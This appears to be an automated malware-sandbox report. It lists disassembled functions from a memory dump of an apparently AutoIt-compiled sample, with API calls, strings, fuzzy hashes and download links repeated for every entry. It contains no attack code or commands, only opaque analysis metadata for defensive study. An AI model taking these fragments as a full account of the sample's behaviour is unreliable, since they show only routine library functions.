Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: 079cfec9985cae8f9378479f5b10086fd6ef4058ade15ca473560dd737c0d86a
Instruction ID: 03441a088f5904497f38f96d906b5d15300fc2990ad61d86b43b0129b3e9995b
Opcode Fuzzy Hash: 079cfec9985cae8f9378479f5b10086fd6ef4058ade15ca473560dd737c0d86a
Instruction Fuzzy Hash: 92713571A00619DFCB14DF94C485A9EBBB4EF48314F04889DE816AB3A2C775ED45CB92

Function 009A719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 009A7206
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 009A723C
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 009A724D
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 009A72CF

Strings

DllGetClassObject, xrefs: 009A7242

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 9526dfe7a5565fc8b8028d9632109750ea043017572a29c5bf33f044b6ed1257
Instruction ID: e9569d0e38566dffab8dddc38e121c975a7d841cfcf6786949f962117c4e070d
Opcode Fuzzy Hash: 9526dfe7a5565fc8b8028d9632109750ea043017572a29c5bf33f044b6ed1257
Instruction Fuzzy Hash: 02418FB1604204EFDB15CF94CC86B9ABBB9EF85310F1480AABD059F20AD7B4D941CBE0

Function 009D3D7C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 009D3E35
IsMenu.USER32(?), ref: 009D3E4A
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 009D3E92
DrawMenuBar.USER32 ref: 009D3EA5

Strings

0, xrefs: 009D3D89

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID: 0
API String ID: 3076010158-4108050209
Opcode ID: 0d077215cb3d3c8b8758496a0322c3f1c0eee3538dfded6858c852460c1c9f01
Instruction ID: 8fb7edbae85f7b398b78ebf72100261b8b45c3ff34a70499c5ee1cfed61303d6
Opcode Fuzzy Hash: 0d077215cb3d3c8b8758496a0322c3f1c0eee3538dfded6858c852460c1c9f01
Instruction Fuzzy Hash: 0B4156B5A51209AFDB10DF60D884AAABBB9FF48351F04C12AF905A7390D730AE41DF61

Function 009A1DE2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

Part of subcall function 009A3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 009A3CCA

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 009A1E66
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 009A1E79
SendMessageW.USER32(?,00000189,?,00000000), ref: 009A1EA9

Part of subcall function 00946B57: _wcslen.LIBCMT ref: 00946B6A

Strings

ComboBox, xrefs: 009A1DF0
ListBox, xrefs: 009A1E25

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend$_wcslen$ClassName
String ID: ComboBox$ListBox
API String ID: 2081771294-1403004172
Opcode ID: 00eafa7a0f2d08e482960ac8af64dd745d43eb5aeda62ccff1fa9f8df9f99615
Instruction ID: 05fa7fef8d0ec681a5c0f7967ca5a6a68ead223b273804ef11286ab9b9b6784e
Opcode Fuzzy Hash: 00eafa7a0f2d08e482960ac8af64dd745d43eb5aeda62ccff1fa9f8df9f99615
Instruction Fuzzy Hash: 462105B1A40104BADB14AB64DC46DFFB7BDEF86360F208519F825A72E1DB38490996A0

Function 009CC9EA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 009CC9F1
_wcslen.LIBCMT ref: 009CCA68
_wcslen.LIBCMT ref: 009CCA9E
_wcslen.LIBCMT ref: 009CCAF9
_wcslen.LIBCMT ref: 009CCB2F
_wcslen.LIBCMT ref: 009CCB7F

Strings

HKLM, xrefs: 009CCA98, 009CCA9D
HKEY_LOCAL_MACHINE, xrefs: 009CCA62, 009CCA67

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _wcslen
String ID: HKEY_LOCAL_MACHINE$HKLM
API String ID: 176396367-4004644295
Opcode ID: 53aa134f03822308332a6459564aece4f5d4eb0b3e256b6ae735128dfe85d8e8
Instruction ID: 4ec0d4505bb49547c96c8e524adbd8e402c59a9a05dacfba707a12857fd885cb
Opcode Fuzzy Hash: 53aa134f03822308332a6459564aece4f5d4eb0b3e256b6ae735128dfe85d8e8
Instruction Fuzzy Hash: D13106B3E4056A4BCB20DF6C9944BBF3B995BA1790F05402DE84DAB385E671DD41C3A2

Function 009D37B7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 009D3840
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 009D3850
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 009D3876

Strings

Listbox, xrefs: 009D380F
_____________________________________________________________________________________________________________________________abccccccccdeefghijklmnopqrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstyzzzzzzzzzzzzzzzz{{{{{{, xrefs: 009D37C7

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox$_____________________________________________________________________________________________________________________________abccccccccdeefghijklmnopqrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstyzzzzzzzzzzzzzzzz{{{{{{
API String ID: 3315199576-2916758532
Opcode ID: 9d182435eb2b8230ac331f436b637dcaee5760b166cceba86d275cbcd4212f8f
Instruction ID: 60d0eedaf7a7b9baf038f2a28da0dcbb258becaede67e44ba4193e5339f80e5b
Opcode Fuzzy Hash: 9d182435eb2b8230ac331f436b637dcaee5760b166cceba86d275cbcd4212f8f
Instruction Fuzzy Hash: 8A21C272650119BBEF118F54DC85FBB376EEF89754F10C115F9009B290CA71DC5297A0

Function 009D2F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 009D2F8D
LoadLibraryW.KERNEL32(?), ref: 009D2F94
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 009D2FA9
DestroyWindow.USER32(?), ref: 009D2FB1

Strings

SysAnimate32, xrefs: 009D2F68

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: 1fb9812c104a32af344de2f89ee7c99ca0de7528070435776e64f45b7d8c66d8
Instruction ID: a29eb7795bb10b432609a40bf33c5ff8f3898cfb46fb811134cef100bd902d16
Opcode Fuzzy Hash: 1fb9812c104a32af344de2f89ee7c99ca0de7528070435776e64f45b7d8c66d8
Instruction Fuzzy Hash: 6C21C071254205AFEB104FA8DC80FBB37BDEF69364F108A1AFA50D2290D771DC91A760

Function 00964D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00964D1E,009728E9,?,00964CBE,009728E9,00A088B8,0000000C,00964E15,009728E9,00000002), ref: 00964D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00964DA0
FreeLibrary.KERNEL32(00000000,?,?,?,00964D1E,009728E9,?,00964CBE,009728E9,00A088B8,0000000C,00964E15,009728E9,00000002,00000000), ref: 00964DC3

Strings

mscoree.dll, xrefs: 00964D86
CorExitProcess, xrefs: 00964D98

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 4d37c8f19f6a443f2438b0fddd22ae22e485289646254ba85d39bcb0736af562
Instruction ID: 6d2da0070b2ddec187b671a429e2022838ad00e76a22c5592bb7358729a14a3c
Opcode Fuzzy Hash: 4d37c8f19f6a443f2438b0fddd22ae22e485289646254ba85d39bcb0736af562
Instruction Fuzzy Hash: F7F0C270A95219FBDB119FD0DC49BAEBFB8EF84751F0001A5F805A22A0CF716D80DB90

Function 00944E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00944EDD,?,00A11418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00944E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00944EAE
FreeLibrary.KERNEL32(00000000,?,?,00944EDD,?,00A11418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00944EC0

Strings

kernel32.dll, xrefs: 00944E94
Wow64DisableWow64FsRedirection, xrefs: 00944EA8

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: 7441ed6edf19ccdb5bd15df199c57149a21167f9a4233e0bdc41d15e415ff911
Instruction ID: d610d9bfeeb912841599b36fc4b5e102808d16fdbcc87f94067ecc18fd2ea933
Opcode Fuzzy Hash: 7441ed6edf19ccdb5bd15df199c57149a21167f9a4233e0bdc41d15e415ff911
Instruction Fuzzy Hash: 70E08C76A9A633ABD3221B25AC2CF6B665CAF81B62B050116FC00E2250DF64CD42D0A0

Function 00944E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00983CDE,?,00A11418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00944E62
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00944E74
FreeLibrary.KERNEL32(00000000,?,?,00983CDE,?,00A11418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00944E87

Strings

Wow64RevertWow64FsRedirection, xrefs: 00944E6E
kernel32.dll, xrefs: 00944E5B

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: 67e99f31e5a5f056141bb230964c251a97958fb9339f5148ae65e74bdf00b57e
Instruction ID: 56bc85364b21d2ca79f34ac87456d27d6acf4c6cbc36f8ccc48a496483c1a4ca
Opcode Fuzzy Hash: 67e99f31e5a5f056141bb230964c251a97958fb9339f5148ae65e74bdf00b57e
Instruction Fuzzy Hash: DDD0C23255B633678A221B247C08E8B6B1CAF81B113050613B801E3150CF20CD41D1D1

Function 009B2947 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 009B2C05
DeleteFileW.KERNEL32(?), ref: 009B2C87
CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 009B2C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 009B2CAE
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 009B2CC0

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: 34b5347c81638f5048648b62153f7e2db4963d5af554653e3b0249ee9046b47c
Instruction ID: 503b7e74c3fa86c2e64289b8da60b9f336409928bbf0c325cbf32a016dde0dc9
Opcode Fuzzy Hash: 34b5347c81638f5048648b62153f7e2db4963d5af554653e3b0249ee9046b47c
Instruction Fuzzy Hash: 56B14D72D01129ABDF21DBA4CD85FDEBBBDEF89350F1040A6F609E6151EB309A448F61

Function 009CA387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 009CA427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 009CA435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 009CA468
CloseHandle.KERNEL32(?), ref: 009CA63D

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: 7b9541bde3d941e8c0462a22355c99d27583bd1dd114cb0325478a8fda2ac54b
Instruction ID: 11a7db507d1b4370dd5b282cdb192c7ac3bff5014a8f96f1d3ebb407992e6abb
Opcode Fuzzy Hash: 7b9541bde3d941e8c0462a22355c99d27583bd1dd114cb0325478a8fda2ac54b
Instruction Fuzzy Hash: 52A1BFB1A043019FD720DF24C886F2AB7E5AF84714F14895DF99A9B392D7B0EC45CB92

Function 009AE3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 009ADDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,009ACF22,?), ref: 009ADDFD

Part of subcall function 009ADDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,009ACF22,?), ref: 009ADE16

Part of subcall function 009AE199: GetFileAttributesW.KERNEL32(?,009ACF95), ref: 009AE19A

lstrcmpiW.KERNEL32(?,?), ref: 009AE473
MoveFileW.KERNEL32(?,?), ref: 009AE4AC
_wcslen.LIBCMT ref: 009AE5EB
_wcslen.LIBCMT ref: 009AE603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 009AE650

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: 302e138dc43a8bd54d6fec28596098299b0de0fe1183889f3645e6d0de364fd4
Instruction ID: 69664d0eb75a63a5f34c811db7d2481cad658c80b33fbf3c9704bbd33686c33c
Opcode Fuzzy Hash: 302e138dc43a8bd54d6fec28596098299b0de0fe1183889f3645e6d0de364fd4
Instruction Fuzzy Hash: 545153B24083455BC724DB94DC85ADBB3ECAFC5344F00491EF589D3191EF74A688C7A6

Function 009CB9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

Part of subcall function 009CC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,009CB6AE,?,?), ref: 009CC9B5
Part of subcall function 009CC998: _wcslen.LIBCMT ref: 009CC9F1
Part of subcall function 009CC998: _wcslen.LIBCMT ref: 009CCA68
Part of subcall function 009CC998: _wcslen.LIBCMT ref: 009CCA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 009CBAA5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 009CBB00
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 009CBB63
RegCloseKey.ADVAPI32(?,?), ref: 009CBBA6
RegCloseKey.ADVAPI32(00000000), ref: 009CBBB3

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: 00fefee292b5ed54d0b55581a62b644efffad4f78750b3f4187fc77e010ea450
Instruction ID: 8d1982e2ca3d517bf4a187e8ef2647e7178f44607ec959fbe68b574baa40c3a0
Opcode Fuzzy Hash: 00fefee292b5ed54d0b55581a62b644efffad4f78750b3f4187fc77e010ea450
Instruction Fuzzy Hash: C361AF71608241AFD714DF24C491F2ABBE9FF84348F14895DF49A8B2A2DB31ED45CB92

Function 009A8BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 009A8BCD
VariantClear.OLEAUT32 ref: 009A8C3E
VariantClear.OLEAUT32 ref: 009A8C9D
VariantClear.OLEAUT32(?), ref: 009A8D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 009A8D3B

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 6ae1cc90387d6085437c272f7c4d1db1600335298f9458f77d555bc35d4c3eab
Instruction ID: c49976944752f9cc8253c37e8c0485dcb2bda1a06c57e9f1329b73ab88880789
Opcode Fuzzy Hash: 6ae1cc90387d6085437c272f7c4d1db1600335298f9458f77d555bc35d4c3eab
Instruction Fuzzy Hash: EC516BB5A1021AEFCB14CF68C894AAAB7F9FF89310B158559F909DB350E734E911CF90

Function 009B8AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 009B8BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 009B8BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 009B8C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 009B8C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 009B8C5F

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: cfb528c9e355bf6c7947ac9544faa0989a36317b5d65a4b9a636089bfce27706
Instruction ID: 21ac32e29e78231b7ea14452f8a5820b7fe70ba0ea40bbbd319c1601e25e6fe7
Opcode Fuzzy Hash: cfb528c9e355bf6c7947ac9544faa0989a36317b5d65a4b9a636089bfce27706
Instruction Fuzzy Hash: 14515C75A002199FCB00DF64C881EAEBBF5FF48314F088459E949AB362CB35ED41CB90

